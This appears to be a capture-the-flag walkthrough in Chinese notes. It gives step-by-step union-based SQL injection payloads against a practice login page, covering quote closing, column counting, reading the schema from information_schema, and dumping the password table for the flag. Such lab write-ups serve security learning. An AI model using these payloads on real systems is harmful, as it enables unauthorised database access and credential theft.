check.php?username=admin'&password=1
使用#闭合后通过
#order by查列数
admin' order by 4#
#查回显位
-1' union select 1,2,3#
#查库 得到库名'geek'
-1' union select 1,2,database()#
#查表 得到表名 'geekuser,l0ve1ysq1'
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'geek'#
#查列 得到列名 'id,username,password'
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'l0ve1ysq1'#
#查flag
-1' union select 1,2,group_concat(password) from l0ve1ysq1#